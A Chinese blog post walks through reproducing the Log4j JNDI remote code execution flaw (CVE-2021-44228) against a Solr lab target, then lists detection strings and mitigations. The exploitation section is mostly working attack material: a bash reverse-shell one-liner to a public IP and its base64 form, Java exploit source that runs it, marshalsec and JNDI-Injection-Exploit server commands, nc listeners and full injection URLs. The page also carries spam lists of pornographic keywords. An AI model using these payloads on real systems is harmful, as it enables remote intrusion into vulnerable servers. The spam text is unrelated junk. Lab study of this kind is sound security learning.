<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      log4j遠程代碼執(zhí)行漏洞

      根據(jù)這個大佬的文章進行學習的

      https://blog.csdn.net/Bossfrank/article/details/130148819

      一:漏洞概述

      Log4j漏洞是由于Log4j 2在處理日志消息中的JNDI(Java Naming and Directory Interface)查找時存在的不安全實現(xiàn)而引發(fā)的。攻擊者可以通過特制的日志消息利用此漏洞,從而使Log4j在處理日志消息時,連接到惡意的LDAP服務器并執(zhí)行任意代碼。


      二:漏洞原理

      攻擊者構(gòu)造payload,在JNDI接口lookup查詢進行注入,payload為${jndi:ldap:惡意url/poc},JNDI會去對應的服務(如LDAP、RMI、DNS、文件系統(tǒng)、目錄服務…本例為ldap)查找資源,由于lookup的出棧沒做限制,最終指向了攻擊者部署好的惡意站點,下載了遠程的惡意class,最終造成了遠程代碼執(zhí)行rce。

      log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。

      攻擊者可以利用這一點進行JNDI注入,使得受害者請求遠程服務來鏈接本地對象,在lookup的{}里面構(gòu)造payload,調(diào)用JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class對象,造成了遠程代碼執(zhí)行(可反彈shell到指定服務器)。


      三:漏洞利用

      攻擊者利用該漏洞的步驟如下:

      1. 構(gòu)造惡意日志消息:攻擊者創(chuàng)建一個包含JNDI查找請求的特制字符串,例如${jndi:ldap://attacker.com/a}。
      2. 日志記錄:該字符串被應用程序記錄到日志中。
      3. JNDI查找:Log4j在處理這條日志消息時,會解析JNDI查找請求并嘗試連接到指定的LDAP服務器。
      4. 惡意代碼執(zhí)行:如果LDAP服務器返回一個惡意的Java類,Log4j將加載并執(zhí)行該類中的代碼,從而使攻擊者能夠在目標系統(tǒng)上執(zhí)行任意代碼。

      lookup功能:

      • Lookup 是一種查找機制,用于動態(tài)獲取和替換日志記錄中的變量或?qū)傩缘闹怠K峁┝艘环N靈活的方式,可以在日志消息中引用、解析和插入各種上下文相關(guān)的信息。
      • log4j中除了sys解析器外,還有很多其他類型的解析器。其中,jndi 解析器就是本次漏洞的源頭

      JNDI解析器:

      • JND全稱為Java命名和目錄接口,提供了命名服務和目錄服務,允許從指定的遠程服務器獲取并加載對象,JNDI注入攻擊時常用的就是通過RMI和LDAP兩種服務。

      • 正常的包含jndi的日志記錄方式如下:

      • logger.info("system propety: ${jndi:schema://url}");

      • log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。

      • jdk將從url指定的路徑下載一段字節(jié)流,并將其反序列化為Java對象,作為jndi返回。反序列化過程中,即會執(zhí)行字節(jié)流中包含的程序。

      • 攻擊者如何控制服務器上記錄的日志內(nèi)容呢?

      • 大部分web服務程序都會對用戶輸入進行日志記錄。例如:用戶訪問了哪些url,有哪些關(guān)鍵的輸入等,都會被作為參數(shù)送到log4j中,我們在這些地方寫上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服務從xxx.dnslog.cn下載字節(jié)流了。


      ldap服務:

      LDAP(輕型目錄訪問協(xié)議)是一個開放的,中立的,工業(yè)標準的應用協(xié)議,
      通過IP協(xié)議提供訪問 控制和維護分布式信息的目錄信息。

      目錄是一個為查詢、瀏覽和搜索而優(yōu)化的專業(yè)分布式數(shù)據(jù)庫,它呈 樹狀結(jié)構(gòu)組織數(shù)據(jù),就好象Linux/Unix系統(tǒng)中的文件目錄一樣。


      RMI:

      RMI(遠程方法調(diào)用):它是一種機制,能夠讓在某個java虛擬機上的對象調(diào)用另一個Java虛擬機 的對象的方法。


      四:漏洞復現(xiàn)

      1、漏洞環(huán)境

      啟動靶機
      cd /vulhub-master/log4j/CVE-2021-44228
      docker-compose up -d


      遇到的問題

      docker-compose up -d拉取不了

      • 報錯顯示
        image
      • 意思就是docker在守護進程連接的時候,TLs三次握手失敗,屬于是網(wǎng)絡(luò)不行
        一開始認為是DNS解析地址錯誤
        找到地址解析文件,修改為如下所示
        image
        重新拉取,失敗
        然后,繼續(xù)百度找大佬解決問題
        發(fā)現(xiàn)可以添加國內(nèi)的加速服務,命令如下
        首先需要創(chuàng)建daemon.json
        vim /etc/docker/daemon.json創(chuàng)建并編輯,在復制下面代碼
        `{
      點擊查看代碼
      `{
        "registry-mirrors": ["https://registry.docker-cn.com","https://y4xpdpoy.mirror.aliyuncs.com"]
      }`
      

      然后重啟服務
      systemctl restart docker systemctl daemon-reload
      成功拉取鏡像
      image


      2、訪問靶機

      ip:8983訪問
      image
      訪問成功

      3、登錄網(wǎng)站dns回顯網(wǎng)站

      http://ceye.io/

      根據(jù)身份標識符,構(gòu)造payload,查看cecy是否返回數(shù)據(jù)。
      image

      4、DNS回顯驗證

      http://111.173.104.122:8983/solr/admin/cores?action=${jndi:ldap://w3caue.ceye.io}
      image
      成功回顯

      5、反彈shell方法一之編寫惡意class文件

      1、編寫以下的惡意文件Exploit.java
      bash -i >& /dev/tcp/47.236.108.184/7777 0>&1我們需要反彈shell到47.236.108.184的7777端口,所以命令這樣寫
      2、然后對上述命令進行base64編碼,這里給出一個網(wǎng)站,可以直接進行payload的編碼:https://ares-x.com/tools/runtime-exec
      image
      3、編碼結(jié)果為:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTA4LjE4NC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
      4、然后可以寫惡意文件了

      點擊查看代碼
      import java.lang.Runtime;
      import java.lang.Process;
      public class Exploit {
           public Exploit(){
                   try{
                       Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                      }catch(Exception e){
                                                  e.printStackTrace();
                                                   }
                      }
               public static void main(String[] argv){
                               Exploit e = new Exploit();
                                  }
      }
      
      5、然后我們把Exploit.java編譯為Exploit.class,最好保證javac的版本為1.8

      image

      6、把編譯好的文件放到攻擊機上
      image
      接下來,我們在攻擊機啟動LDAP服務。這里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar來快速開啟
      http://www.rzrgm.cn/cute-puli/p/14373826.html 工具教程
      命令如下
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.36.161:7777/#Exploit" 1389

      image


      7、接著在攻擊機用nc監(jiān)聽
      nc -lvvp 7777

      8、 最后一步,也是最關(guān)鍵的一步,進行JNDI注入,我們在注入點/solr/admin/cores?action構(gòu)造一個JNDI注入如下:

      ${jndi:ldap://192.168.36.161:1389/Exploit}

      完整的url為:
      http://192.168.36.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.36.161:1389/Exploit}
      image


      成功反彈shell
      image


      可以看到最后兩條日志信息,靶機已經(jīng)通過GET方法請求了我們的惡意代碼Exploit.class,狀態(tài)碼為200,成功響應,此時應該已經(jīng)實現(xiàn)了RCE遠程代碼執(zhí)行。我們查看對7777端口進行監(jiān)聽的終端,成功獲取了shell:

      image


      6、反彈shell方法二之快捷工具

      1、用到的工具為JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,地址為https://github.com/welk1n/JNDI-Injection-Exploit/releases
      利用此工具即可不用編寫.class文件,直接一鍵部署

      2、然后我們利用JNDI注入工具把這個反彈shell命令部署到LDAP服務上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目錄運行如下命令
      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "構(gòu)造反彈shell的命令的base64編碼" -A "攻擊機ip"
      image

      可以看到,這里已經(jīng)一鍵部署好了RMI和LDAP服務的站點,并給出了路徑,JDK1.8的版本為ldap://192.168.200.131:1389/Exploit,JDK1.7的版本為:ldap://192.168.200.131:1389/Exploit7
      3、然后用nc監(jiān)聽
      nc -lvvp 6666
      4、構(gòu)造pyload
      http://192.168.36.130:8983/solr/admin/cores?action=${rmi:ldap://192.168.36.161:1099/Exploit}
      image
      5、成功反彈shell
      image
      6、最后關(guān)閉靶場
      docker-compose down

      復結(jié)結(jié)束

      成果:了解到log4j2的原理及利用過程,以及知道了如何識別log4j2漏洞攻擊的特征
      如何排查是否受到了攻擊?

      排查方法

      檢查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符來發(fā)現(xiàn)可能的攻擊行為,前面復現(xiàn)的過程在payload的構(gòu)造中都出現(xiàn)了這樣的字符串,這是攻擊的典型標志。

      如何對log4j2的攻擊進行防御?

      1.設(shè)置log4j2.formatMsgNoLookups=True。相當于直接禁止lookup查詢出棧,也就不可能請求到訪問到遠程的惡意站點。
      2.對包含有"jndi:ldap://"、"jndi:rmi//"這樣字符串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。
      3.對系統(tǒng)進行合理配置,禁止不必要的業(yè)務訪問外網(wǎng),配置網(wǎng)絡(luò)防火墻,禁止系統(tǒng)主動外連網(wǎng)絡(luò)等等。
      4.升級log4j2組件到新的安全的版本。

      posted @ 2024-06-08 09:59  假牙哥66  閱讀(2475)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 久久综合色之久久综合色| 久久人人爽爽人人爽人人片av| 熟妇人妻一区二区三区四区| 人妻少妇久久久久久97人妻| 亚洲小说乱欧美另类| 国产视频一区二区三区麻豆| 亚洲a人片在线观看网址| 亚洲欧美一区二区成人片| 农村乱色一区二区高清视频 | 久99久热这里只有精品| 亚洲性线免费观看视频成熟| 亚洲av永久无码精品水牛影视| 国产AV国片精品有毛| 国产高在线精品亚洲三区| 国产精品综合一区二区三区| 日韩有码中文字幕一区二区| 国产精品99一区二区三区| 永安市| 亚洲第四色在线中文字幕| 亚洲色大成网站WWW永久麻豆| 色五月丁香六月欧美综合| 亚洲一级片一区二区三区| 无套内射视频囯产| 色欲国产精品一区成人精品| 成人三级视频在线观看不卡| 国产激情一区二区三区四区| 国产亚洲999精品AA片在线爽| 老熟妇欲乱一区二区三区| 国偷自产一区二区三区在线视频| 最新偷拍一区二区三区| 亚洲中文字幕五月五月婷| 免费午夜无码片在线观看影院| 午夜男女爽爽影院免费视频下载| 久久婷婷成人综合色| 草草浮力影院| 日韩一区二区三区东京热| 国语精品自产拍在线观看网站| 国产一区日韩二区欧美三区| 日本无码欧美一区精品久久| 亚洲成人资源在线观看| 国色天香成人一区二区|